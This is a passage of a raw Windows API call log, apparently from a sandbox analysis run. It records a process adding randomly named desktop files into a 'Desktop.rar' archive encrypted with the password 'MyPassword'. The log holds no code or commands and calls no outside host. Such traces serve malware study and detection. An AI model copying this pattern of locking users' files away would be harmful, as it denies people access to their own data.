SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.507] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=73874316231) returned 1 [0063.507] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x18a31, lpOverlapped=0x0) returned 1 [0063.508] ReadFile (in: hFile=0x1b0, lpBuffer=0x37a8a71, nNumberOfBytesToRead=0xe75cf, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x37a8a71*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.508] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 1 [0063.508] GetMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0063.508] GetFocus () returned 0x10232 [0063.508] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd5b0) returned 1 [0063.508] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.508] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493d0 [0063.508] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.508] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49400, Size=0x48) returned 0x34e390 [0063.508] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.508] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.508] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49400, Size=0x48) returned 0x34e340 [0063.508] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.508] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.508] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.508] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49430 [0063.508] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49430 | out: hHeap=0x290000) returned 1 [0063.508] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49400 | out: hHeap=0x290000) returned 1 [0063.508] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c493d0, Size=0x48) returned 0x34e390 [0063.508] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0063.508] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.508] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.509] GetTickCount () returned 0xa66367 [0063.509] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=73874503922) returned 1 [0063.509] GetTickCount () returned 0xa66367 [0063.509] GetTickCount () returned 0xa66367 [0063.509] GetTickCount () returned 0xa66367 [0063.509] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.509] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.509] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.509] ResetEvent (hEvent=0x1a4) returned 1 [0063.509] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.510] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.510] ResetEvent (hEvent=0x1a4) returned 1 [0063.510] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.514] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.514] ResetEvent (hEvent=0x1a4) returned 1 [0063.514] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.516] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.516] GetTickCount () returned 0xa66367 [0063.516] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=73875276474) returned 1 [0063.516] GetTickCount () returned 0xa66367 [0063.516] GetTickCount () returned 0xa66367 [0063.516] GetTickCount () returned 0xa66367 [0063.516] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.516] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.516] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.517] ResetEvent (hEvent=0x190) returned 1 [0063.517] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.517] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.517] ResetEvent (hEvent=0x190) returned 1 [0063.517] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.518] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0063.518] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.518] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.518] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x7c042e [0063.518] SetFilePointer (in: hFile=0x198, lDistanceToMove=96, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x7c048e [0063.518] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.518] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.518] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.518] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.519] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x18b10, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x18b10, lpOverlapped=0x0) returned 1 [0063.520] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.520] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.520] SetFilePointer (in: hFile=0x198, lDistanceToMove=8127534, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7c042e [0063.520] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x7c042e [0063.520] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493d0 [0063.520] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.520] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49400, Size=0x48) returned 0x34e340 [0063.520] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.520] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.520] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49400, Size=0x48) returned 0x34e390 [0063.520] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.520] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.520] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.520] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49430 [0063.520] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49430 | out: hHeap=0x290000) returned 1 [0063.520] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49400 | out: hHeap=0x290000) returned 1 [0063.520] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c493d0, Size=0x48) returned 0x34e340 [0063.520] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0063.520] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x60, lpOverlapped=0x0) returned 1 [0063.520] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c493d0 [0063.520] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x60) returned 0x3518a0 [0063.520] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.520] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.520] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7d8f9e [0063.520] CloseHandle (hObject=0x1b0) returned 1 [0063.520] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.520] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.520] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.520] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.520] FindFirstFileW (in: lpFileName="TYcyuRxH.mkv", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.521] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.521] CreateFileW (lpFileName="TYcyuRxH.mkv" (normalized: "c:\\users\\whuoxysd\\desktop\\tycyurxh.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.521] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.521] GetTickCount () returned 0xa66367 [0063.521] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.521] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.521] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.521] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.521] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="Qes6-o-.docx") returned 12 [0063.521] SetWindowTextW (hWnd=0x10216, lpString="TYcyuRxH.mkv") returned 1 [0063.521] GetTickCount () returned 0xa66367 [0063.521] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.521] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.521] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.522] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.522] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0xc8)) [0063.522] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.522] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=73875796560) returned 1 [0063.522] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x39d6, lpOverlapped=0x0) returned 1 [0063.522] ReadFile (in: hFile=0x1b0, lpBuffer=0x3793a16, nNumberOfBytesToRead=0xfc62a, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3793a16*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.522] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.522] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49430 [0063.522] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49430, Size=0x48) returned 0x34e390 [0063.522] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.522] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49430 [0063.523] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49430, Size=0x48) returned 0x34e340 [0063.523] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.523] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.523] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49430 [0063.523] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49460 [0063.523] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49460 | out: hHeap=0x290000) returned 1 [0063.523] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49430 | out: hHeap=0x290000) returned 1 [0063.523] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49400, Size=0x48) returned 0x34e390 [0063.523] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e390, Size=0x7a) returned 0x36ea60 [0063.523] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.523] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.525] GetTickCount () returned 0xa66376 [0063.525] GetLastError () returned 0x0 [0063.525] SetLastError (dwErrCode=0x0) [0063.525] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0063.525] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0063.525] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbcd0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0063.525] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0063.525] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd550 | out: lpPerformanceCount=0x1bd550*=73876176320) returned 1 [0063.525] GetTickCount () returned 0xa66376 [0063.525] GetTickCount () returned 0xa66376 [0063.525] GetTickCount () returned 0xa66376 [0063.525] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 1 [0063.525] GetMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0063.526] GetFocus () returned 0x10232 [0063.526] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd5b0) returned 1 [0063.526] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.526] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.526] ResetEvent (hEvent=0x1a4) returned 1 [0063.526] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.527] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.527] ResetEvent (hEvent=0x1a4) returned 1 [0063.527] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.527] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0063.527] GetTickCount () returned 0xa66376 [0063.527] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=73876377848) returned 1 [0063.527] GetTickCount () returned 0xa66376 [0063.527] GetTickCount () returned 0xa66376 [0063.527] GetTickCount () returned 0xa66376 [0063.527] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.527] PeekMessageW (in: lpMsg=0x1bd5f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5f0) returned 0 [0063.528] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.528] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.528] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.528] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd400*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd400*=0) returned 0x7d8f9e [0063.528] SetFilePointer (in: hFile=0x198, lDistanceToMove=96, lpDistanceToMoveHigh=0x1bd3d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd3d0*=0) returned 0x7d8ffe [0063.528] CryptUnprotectMemory (in: pDataIn=0x1bd280, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd280) returned 1 [0063.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd200, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.528] CryptUnprotectMemory (in: pDataIn=0x1bcc60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcc60) returned 1 [0063.528] CryptUnprotectMemory (in: pDataIn=0x1bcd60, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcd60) returned 1 [0063.528] CryptUnprotectMemory (in: pDataIn=0x1bcee0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bcee0) returned 1 [0063.528] WriteFile (in: hFile=0x198, lpBuffer=0x293fde0*, nNumberOfBytesToWrite=0x3a00, lpNumberOfBytesWritten=0x1bd400, lpOverlapped=0x0 | out: lpBuffer=0x293fde0*, lpNumberOfBytesWritten=0x1bd400*=0x3a00, lpOverlapped=0x0) returned 1 [0063.528] PeekMessageW (in: lpMsg=0x1bd370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd370) returned 0 [0063.528] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.528] SetFilePointer (in: hFile=0x198, lDistanceToMove=8228766, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7d8f9e [0063.528] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9aa0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9aa0*=0) returned 0x7d8f9e [0063.528] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.528] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49430 [0063.528] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49430, Size=0x48) returned 0x34e340 [0063.528] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x30) returned 0x3c39490 [0063.529] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49430 [0063.529] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49430, Size=0x48) returned 0x34e390 [0063.529] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c39490 | out: hHeap=0x290000) returned 1 [0063.529] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e340 | out: hHeap=0x290000) returned 1 [0063.529] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49430 [0063.529] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49460 [0063.529] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49460 | out: hHeap=0x290000) returned 1 [0063.529] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c49430 | out: hHeap=0x290000) returned 1 [0063.529] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c49400, Size=0x48) returned 0x34e340 [0063.529] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x34e340, Size=0x7a) returned 0x36ea60 [0063.529] WriteFile (in: hFile=0x198, lpBuffer=0x36ea63*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x1b80e0, lpOverlapped=0x0 | out: lpBuffer=0x36ea63*, lpNumberOfBytesWritten=0x1b80e0*=0x60, lpOverlapped=0x0) returned 1 [0063.529] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c49400 [0063.529] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x60) returned 0x351910 [0063.529] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.529] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.529] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x7dc9fe [0063.529] CloseHandle (hObject=0x1b0) returned 1 [0063.529] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.529] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.529] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.529] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.529] FindFirstFileW (in: lpFileName="w9CVHhfkQl0.mkv", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.529] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.529] CreateFileW (lpFileName="w9CVHhfkQl0.mkv" (normalized: "c:\\users\\whuoxysd\\desktop\\w9cvhhfkql0.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0063.529] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.529] GetTickCount () returned 0xa66376 [0063.529] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.529] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.529] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.529] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.529] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="TYcyuRxH.mkv") returned 12 [0063.529] SetWindowTextW (hWnd=0x10216, lpString="w9CVHhfkQl0.mkv") returned 1 [0063.530] GetTickCount () returned 0xa66376 [0063.530] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.530] CryptAcquireContextW (in: phProv=0x1bd670, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1bd670*=0x2b25f0) returned 1 [0063.530] CryptGenRandom (in: hProv=0x2b25f0, dwLen=0x10, pbBuffer=0x1bd6f0 | out: pbBuffer=0x1bd6f0) returned 1 [0063.530] CryptReleaseContext (hProv=0x2b25f0, dwFlags=0x0) returned 1 [0063.530] GetSystemTime (in: lpSystemTime=0x1bd608 | out: lpSystemTime=0x1bd608*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x19, wMilliseconds=0xd7)) [0063.530] SystemTimeToFileTime (in: lpSystemTime=0x1bd608, lpFileTime=0x1bd600 | out: lpFileTime=0x1bd600) returned 1 [0063.530] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd630 | out: lpPerformanceCount=0x1bd630*=73876655887) returned 1 [0063.530] ReadFile (in: hFile=0x1b0, lpBuffer=0x3790040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x3790040*, lpNumberOfBytesRead=0x1bd710*=0x1672f, lpOverlapped=0x0) returned 1 [0063.531] ReadFile (in: hFile=0x1b0, lpBuffer=0x37a676f, nNumberOfBytesToRead=0xe98d1, lpNumberOfBytesRead=0x1bd710, lpOverlapped=0x0 | out: lpBuffer=0x37a676f*, lpNumberOfBytesRead=0x1bd710*=0x0, lpOverlapped=0x0) returned 1 [0063.531] PeekMessageW (in: 